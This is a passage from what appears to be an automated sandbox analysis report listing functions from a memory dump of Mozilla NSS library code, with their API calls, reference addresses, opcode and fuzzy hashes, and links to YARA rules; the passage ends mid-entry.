Opcode ID: 9862d80bd16a36f98cd79ef4f5b7994e978c16a6c9eedaa560cb48b75f597c50
Instruction ID: 19848bddc68823ba682d0d8ed3f49796023947e938930408a06913af4e5852ee
Opcode Fuzzy Hash: 9862d80bd16a36f98cd79ef4f5b7994e978c16a6c9eedaa560cb48b75f597c50
Instruction Fuzzy Hash: 4A41F671A012059BEB20CE76CC44BEA73B9AF85708F504928D919D7B41FB35E845CBF9

Function 6C64EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C64EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C64EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C64EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C64EEEB
free.MOZGLUE(?), ref: 6C64EEF6

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 3184e8eda1d1ade1f997ca3184a1b9deac8741dbf9026a58758616005030ad1c
Instruction ID: 28afcd085743d4c76425754edaca64e5968d53c7264d63d4820634be28509644
Opcode Fuzzy Hash: 3184e8eda1d1ade1f997ca3184a1b9deac8741dbf9026a58758616005030ad1c
Instruction Fuzzy Hash: 6A310471A00201ABE720DF29CC44FA6BBF4FB46345F14C538E85A87A51EB31E815CBE9

Function 6C661F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C661F1C

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C779EBC), ref: 6C661FB8
SEC_ASN1EncodeItem_Util.NSS3(6C779E9C,?,?,6C779E9C), ref: 6C66200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C662020

Part of subcall function 6C656A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C65AD50,?,?), ref: 6C656A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C662030

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 102ae02ff2988ea0f9110f967f9e6b8013390399b1c465bde6980595648b5229
Instruction ID: bfab6205923e9a93b8613e8963bfc35920eedc174a037c7a8ea97f5634eaceb6
Opcode Fuzzy Hash: 102ae02ff2988ea0f9110f967f9e6b8013390399b1c465bde6980595648b5229
Instruction Fuzzy Hash: ED212BB5902505BBEB114A16DD40FAA77A8FF5231CF140214E82896F80E771E528C7AF

Function 6C651DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C651E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C651E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C651E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C651E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C651EAD

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 01010e6c3290d37ed08eb7786f42cefba1e5120d9734f5cf67bb4071f3cbbbd7
Instruction ID: c33e71caaa298f7da98787a6f5917035e6ea9d60cc3ef3ccefed14ae98303270
Opcode Fuzzy Hash: 01010e6c3290d37ed08eb7786f42cefba1e5120d9734f5cf67bb4071f3cbbbd7
Instruction Fuzzy Hash: BC213772F08315ABD7008F68DC40B8FB395DB85328FA44638ED6957780E730D92A87DA

Function 6C761E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C761E5C

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

PR_Lock.NSS3(00000000), ref: 6C761E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C761EAB
PR_GetCurrentThread.NSS3 ref: 6C761ED0
PR_Unlock.NSS3(?), ref: 6C761EE8

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 08bfd8bfc30a498c366b78bcd2fdd6591b97ac002fd697a69e90241fe7f9d899
Instruction ID: ae06f6bdf573e29cacf09c90b6e8f763d18a3764e1945c8a43a8bc85d5210ab7
Opcode Fuzzy Hash: 08bfd8bfc30a498c366b78bcd2fdd6591b97ac002fd697a69e90241fe7f9d899
Instruction Fuzzy Hash: 7D21D074A04512AFD710CF2ADA48A06B7B9FF44719B298229DC158BF41D730FC11CBD5

Function 6C6ABE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?,?), ref: 6C6ABED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEEB

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: e879e8b055f98f205cf9e96e81b5dbdfc012a60c71f18fa40ce77fd96c3f1104
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: F8112276A0434977E70089E5AC80F5B77ADABC5798F084035FE0482A52F731DC0687EE

Function 6C65AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000,00000000), ref: 6C65ADA7

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000,00000000), ref: 6C65ADB4

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C653FFF,?,?,?,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000), ref: 6C65ADD5

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7794B0,?,?,?,?,?,?,?,?,6C653FFF,00000000,?), ref: 6C65ADEC

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C653FFF), ref: 6C65AE3C

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: ebb193397e285113d0e189185152e1a2e5947280fed7943d174f79aaad0790c9
Instruction ID: 27ed6569a04d92954165ae014cd61dd11bdc312eeb750d1a6e9b737d0e3b2ae4
Opcode Fuzzy Hash: ebb193397e285113d0e189185152e1a2e5947280fed7943d174f79aaad0790c9
Instruction Fuzzy Hash: 06113B71E002096BE7109B659C40BBF77F8DF9624CF544228EC1596742FB20E96983FE

Function 6C6AF860 Relevance: 7.6, APIs: 5, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C6AF893

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

SECITEM_CopyItem_Util.NSS3(00000000,?,6C6666A0), ref: 6C6AF8AA

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6AF8B9

Part of subcall function 6C6B1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B1228
Part of subcall function 6C6B1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C6B1238
Part of subcall function 6C6B1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B124B
Part of subcall function 6C6B1200: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0,00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B125D
Part of subcall function 6C6B1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C6B126F
Part of subcall function 6C6B1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C6B1280
Part of subcall function 6C6B1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C6B128E
Part of subcall function 6C6B1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C6B129A
Part of subcall function 6C6B1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6B12A1

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C6AF8D9
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7818E0), ref: 6C6AF905

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Pool$Alloc_Arena_CriticalFreeItem_Sectionfree$CallClearCopyDecodeDeleteEnterInitLockOnceQuickUnlockValuecallocmemcpy
String ID:
API String ID: 3757084236-0
Opcode ID: 58fa69a8dca4bb1c3bcf0a74c2618413c1c085d38c799c903c9c92faf9df9308
Instruction ID: 7a2e9af3f9bcc2cb177e433684b44c175660073e2666d9c0e433df97d0061e3c
Opcode Fuzzy Hash: 58fa69a8dca4bb1c3bcf0a74c2618413c1c085d38c799c903c9c92faf9df9308
Instruction Fuzzy Hash: 051127B2E003046BE3009B659D41B6B7AE89F8668CF004229FD1497741FB31D91983EB

Function 6C668FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C670710), ref: 6C668FF1
PR_CallOnce.NSS3(6C7B2158,6C669150,00000000,?,?,?,6C669138,?,6C670710), ref: 6C669029
calloc.MOZGLUE(00000001,00000000,?,?,6C670710), ref: 6C66904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C670710), ref: 6C669066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C670710), ref: 6C669078

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: ff90a53b7a5958ba3811b4957fa6c999bbb28d6900d858da33bf78c82e73b22a
Instruction ID: 45ba7cc42a50ff9c94cf7c6d53c32ccfcab0a193aba7bc86265c7a4583acb825
Opcode Fuzzy Hash: ff90a53b7a5958ba3811b4957fa6c999bbb28d6900d858da33bf78c82e73b22a
Instruction Fuzzy Hash: F011E57170011167EB101BAFAD04A6672ACEB827ADF540535FC84C6E40F752CD4583AE

Function 6C67CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C691E10: TlsGetValue.KERNEL32 ref: 6C691E36
Part of subcall function 6C691E10: EnterCriticalSection.KERNEL32(?,?,?,6C66B1EE,2404110F,?,?), ref: 6C691E4B
Part of subcall function 6C691E10: PR_Unlock.NSS3 ref: 6C691E76

free.MOZGLUE(?,6C67D079,00000000,00000001), ref: 6C67CDA5
PK11_FreeSymKey.NSS3(?,6C67D079,00000000,00000001), ref: 6C67CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C67D079,00000000,00000001), ref: 6C67CDCF
DeleteCriticalSection.KERNEL32(?,6C67D079,00000000,00000001), ref: 6C67CDE2
free.MOZGLUE(?), ref: 6C67CDE9

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 395bcc6dfda0238a1c5b62fc2acbd16cccad597adcd5ea1baec9598d07f6260e
Instruction ID: 8d795a9908144ea95030c7d7df076d2ee5efd470979185aa1a520f237f7481b2
Opcode Fuzzy Hash: 395bcc6dfda0238a1c5b62fc2acbd16cccad597adcd5ea1baec9598d07f6260e
Instruction Fuzzy Hash: 0211A3B2B01115BBDF10AFA5ED45A9A77BCBB043597104531F90A87E01E732E424C7E5

Function 6C6E2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E2CEC

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6E2D02
PR_EnterMonitor.NSS3(?), ref: 6C6E2D1F
PR_ExitMonitor.NSS3(?), ref: 6C6E2D42
PR_ExitMonitor.NSS3(?), ref: 6C6E2D5B

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 1318f6d3e3578dfac2ea355121da45e0d49ce3060982b1756f2fac1cc2e6c162
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 9A01C8B19192015FE7309F26FC48BC7B7E2EF59318F044526E95D87B10E632F8168796

Function 6C6E2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E2D9C

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6E2DB2
PR_EnterMonitor.NSS3(?), ref: 6C6E2DCF
PR_ExitMonitor.NSS3(?), ref: 6C6E2DF2
PR_ExitMonitor.NSS3(?), ref: 6C6E2E0B

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 8cd1fd0e9f7aa794f7f02872431bdcf938dcf16bc214214ea6d5fc4e4a5f400c
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 9601C8B19092015FE7309F25FC09BC7B7A2EF55318F040536E95D87B10D632F81A8696

Function 6C67AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C6599FF,?,?,?,?,?,?,?,?,?,6C652D6B,?), ref: 6C67AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C6599FF,?,?,?,?,?,?,?,?,?,6C652D6B,?), ref: 6C67AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C652D6B,?,?,00000000), ref: 6C67AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C652D6B,?,?,00000000), ref: 6C67AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C652D6B,?,?), ref: 6C67AEA3

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

